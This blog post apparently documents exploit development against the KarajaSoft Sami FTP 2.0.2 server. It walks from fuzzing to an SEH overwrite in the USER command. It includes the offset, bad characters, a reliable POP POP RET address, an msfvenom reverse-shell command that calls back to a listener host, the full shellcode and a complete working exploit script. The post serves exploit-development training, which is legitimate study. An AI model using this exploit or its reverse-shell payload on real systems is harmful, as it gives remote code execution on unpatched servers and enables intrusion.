Introduction
In this blog post we will go thru finding vulnerability in KarajaSoft Sami FTP 2.0.2 application and (re)writing exploit. Finding vulnerability in this application is a bit tricky without looking at existing exploits as it requires user interaction to actually trigger vulnerability and exploit. More on this in following chapters.
Application can be downloaded from following url: https://web.archive.org/web/20070104022116/http://www.karjasoft.com/files/samiftp/samiftpd_install.exe
Fuzzing
If we just start application and try to fuzz USER or PASS commands, which are the first two commands we send when connecting to the server, application will most probably not crash, at least not in a useful way. The reason for such behaviour is that vulnerability exists in function responsible for displaying log data in GUI. When user/administrator opens log, vulnerable part of application reads data from log file and crash occurs. If GUI is not opened at the time of fuzzing - application won’t crash.
Also, application stores log in SamiFTP.binlog
file located at: C:\Program Files\PMSystem\Plugins\Sami FTP Server\
. Be sure to delete that file after the crash occurs as payload is stored in that file and every user access to log will load payload from file and crash application.
BooFuzz fuzzer didn’t manage to crash application in useful way but it did record some anomalies (application would stop responding) when fuzzing USER command. In order to dig deeper we can create simple fuzzing script which would run a loop increasing payload length by 2 chars.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import socket
host = "172.16.24.213"
port = 21
for x in range (500,10000):
buffer = "USER " + x * "AA" + "\r\n"
buffer += "PASS pero\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
banner = s.recv(1024)
s.send(buffer)
print (str(x))
x=x+1
s.close()
print ("[+] Payload sent")
Application crashed when fuzzer sent 506 double “AA” charactes. We used two A characters to speed up fuzzing.
Great, SEH is overwritten with “A” values:
Finding SEH location
Next steps are the same as in any other buferoverflow exploit. These steps are explained in previous blog posts (BigAnt server, Easy Chat server, MinaliC etc.).
- SEH location
1
2
root@kali32bit:~/repository/ctp/ftp# msf-pattern_offset -l 1020 -q 41307541
[*] Exact match at offset 600
- Bad chars
Following chars were found to be bad: \x00\x0a\x0d\x2f
.
- POP,POP,RET address
Mona was used to find address with POP, POP, RET instruction set. Luckily one of the addresses is located in application dll (tmp0.dll) so exploit won’t be dependant on operating system service pack or language version.
0x1001fcd7 : pop esi # pop ebx # retn | {PAGE_EXECUTE_READWRITE} [tmp0.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\PMSystem\Temp\tmp0.dll)
Reverse shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
msfvenom -p windows/shell_reverse_tcp LHOST=172.16.24.204 LPORT=4444 -f python -a x86 -b "\x00\x0a\x0d\x2f"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1712 bytes
buf = b""
buf += b"\xb8\x3e\xf0\x27\x32\xdb\xdb\xd9\x74\x24\xf4\x5a\x2b"
buf += b"\xc9\xb1\x52\x83\xea\xfc\x31\x42\x0e\x03\x7c\xfe\xc5"
buf += b"\xc7\x7c\x16\x8b\x28\x7c\xe7\xec\xa1\x99\xd6\x2c\xd5"
buf += b"\xea\x49\x9d\x9d\xbe\x65\x56\xf3\x2a\xfd\x1a\xdc\x5d"
buf += b"\xb6\x91\x3a\x50\x47\x89\x7f\xf3\xcb\xd0\x53\xd3\xf2"
buf += b"\x1a\xa6\x12\x32\x46\x4b\x46\xeb\x0c\xfe\x76\x98\x59"
buf += b"\xc3\xfd\xd2\x4c\x43\xe2\xa3\x6f\x62\xb5\xb8\x29\xa4"
buf += b"\x34\x6c\x42\xed\x2e\x71\x6f\xa7\xc5\x41\x1b\x36\x0f"
buf += b"\x98\xe4\x95\x6e\x14\x17\xe7\xb7\x93\xc8\x92\xc1\xe7"
buf += b"\x75\xa5\x16\x95\xa1\x20\x8c\x3d\x21\x92\x68\xbf\xe6"
buf += b"\x45\xfb\xb3\x43\x01\xa3\xd7\x52\xc6\xd8\xec\xdf\xe9"
buf += b"\x0e\x65\x9b\xcd\x8a\x2d\x7f\x6f\x8b\x8b\x2e\x90\xcb"
buf += b"\x73\x8e\x34\x80\x9e\xdb\x44\xcb\xf6\x28\x65\xf3\x06"
buf += b"\x27\xfe\x80\x34\xe8\x54\x0e\x75\x61\x73\xc9\x7a\x58"
buf += b"\xc3\x45\x85\x63\x34\x4c\x42\x37\x64\xe6\x63\x38\xef"
buf += b"\xf6\x8c\xed\xa0\xa6\x22\x5e\x01\x16\x83\x0e\xe9\x7c"
buf += b"\x0c\x70\x09\x7f\xc6\x19\xa0\x7a\x81\x89\x25\x9c\x9d"
buf += b"\xba\x47\x9c\x0c\x67\xc1\x7a\x44\x87\x87\xd5\xf1\x3e"
buf += b"\x82\xad\x60\xbe\x18\xc8\xa3\x34\xaf\x2d\x6d\xbd\xda"
buf += b"\x3d\x1a\x4d\x91\x1f\x8d\x52\x0f\x37\x51\xc0\xd4\xc7"
buf += b"\x1c\xf9\x42\x90\x49\xcf\x9a\x74\x64\x76\x35\x6a\x75"
buf += b"\xee\x7e\x2e\xa2\xd3\x81\xaf\x27\x6f\xa6\xbf\xf1\x70"
buf += b"\xe2\xeb\xad\x26\xbc\x45\x08\x91\x0e\x3f\xc2\x4e\xd9"
buf += b"\xd7\x93\xbc\xda\xa1\x9b\xe8\xac\x4d\x2d\x45\xe9\x72"
buf += b"\x82\x01\xfd\x0b\xfe\xb1\x02\xc6\xba\xc2\x48\x4a\xea"
buf += b"\x4a\x15\x1f\xae\x16\xa6\xca\xed\x2e\x25\xfe\x8d\xd4"
buf += b"\x35\x8b\x88\x91\xf1\x60\xe1\x8a\x97\x86\x56\xaa\xbd"
Final exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/python
import socket
host = "172.16.24.213"
port = 21
# POP, POP, RET: 0x1001fcd7
SEH = "\xd7\xfc\x01\x10"
JMP = "\xeb\x07"
buf = b""
buf += b"\xb8\x3e\xf0\x27\x32\xdb\xdb\xd9\x74\x24\xf4\x5a\x2b"
buf += b"\xc9\xb1\x52\x83\xea\xfc\x31\x42\x0e\x03\x7c\xfe\xc5"
buf += b"\xc7\x7c\x16\x8b\x28\x7c\xe7\xec\xa1\x99\xd6\x2c\xd5"
buf += b"\xea\x49\x9d\x9d\xbe\x65\x56\xf3\x2a\xfd\x1a\xdc\x5d"
buf += b"\xb6\x91\x3a\x50\x47\x89\x7f\xf3\xcb\xd0\x53\xd3\xf2"
buf += b"\x1a\xa6\x12\x32\x46\x4b\x46\xeb\x0c\xfe\x76\x98\x59"
buf += b"\xc3\xfd\xd2\x4c\x43\xe2\xa3\x6f\x62\xb5\xb8\x29\xa4"
buf += b"\x34\x6c\x42\xed\x2e\x71\x6f\xa7\xc5\x41\x1b\x36\x0f"
buf += b"\x98\xe4\x95\x6e\x14\x17\xe7\xb7\x93\xc8\x92\xc1\xe7"
buf += b"\x75\xa5\x16\x95\xa1\x20\x8c\x3d\x21\x92\x68\xbf\xe6"
buf += b"\x45\xfb\xb3\x43\x01\xa3\xd7\x52\xc6\xd8\xec\xdf\xe9"
buf += b"\x0e\x65\x9b\xcd\x8a\x2d\x7f\x6f\x8b\x8b\x2e\x90\xcb"
buf += b"\x73\x8e\x34\x80\x9e\xdb\x44\xcb\xf6\x28\x65\xf3\x06"
buf += b"\x27\xfe\x80\x34\xe8\x54\x0e\x75\x61\x73\xc9\x7a\x58"
buf += b"\xc3\x45\x85\x63\x34\x4c\x42\x37\x64\xe6\x63\x38\xef"
buf += b"\xf6\x8c\xed\xa0\xa6\x22\x5e\x01\x16\x83\x0e\xe9\x7c"
buf += b"\x0c\x70\x09\x7f\xc6\x19\xa0\x7a\x81\x89\x25\x9c\x9d"
buf += b"\xba\x47\x9c\x0c\x67\xc1\x7a\x44\x87\x87\xd5\xf1\x3e"
buf += b"\x82\xad\x60\xbe\x18\xc8\xa3\x34\xaf\x2d\x6d\xbd\xda"
buf += b"\x3d\x1a\x4d\x91\x1f\x8d\x52\x0f\x37\x51\xc0\xd4\xc7"
buf += b"\x1c\xf9\x42\x90\x49\xcf\x9a\x74\x64\x76\x35\x6a\x75"
buf += b"\xee\x7e\x2e\xa2\xd3\x81\xaf\x27\x6f\xa6\xbf\xf1\x70"
buf += b"\xe2\xeb\xad\x26\xbc\x45\x08\x91\x0e\x3f\xc2\x4e\xd9"
buf += b"\xd7\x93\xbc\xda\xa1\x9b\xe8\xac\x4d\x2d\x45\xe9\x72"
buf += b"\x82\x01\xfd\x0b\xfe\xb1\x02\xc6\xba\xc2\x48\x4a\xea"
buf += b"\x4a\x15\x1f\xae\x16\xa6\xca\xed\x2e\x25\xfe\x8d\xd4"
buf += b"\x35\x8b\x88\x91\xf1\x60\xe1\x8a\x97\x86\x56\xaa\xbd"
buffer = "USER " + (600 - len(JMP)) * "\x90" + JMP + SEH + "\x90" * 10 + buf + (1020 - 600 - len(JMP) - len(SEH) - 10 - len(buf)) * "\x90" + "\r\n"
buffer += "PASS pero\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
banner = s.recv(1024)
s.send(buffer)
s.close()
print ("[+] Payload sent")
Result: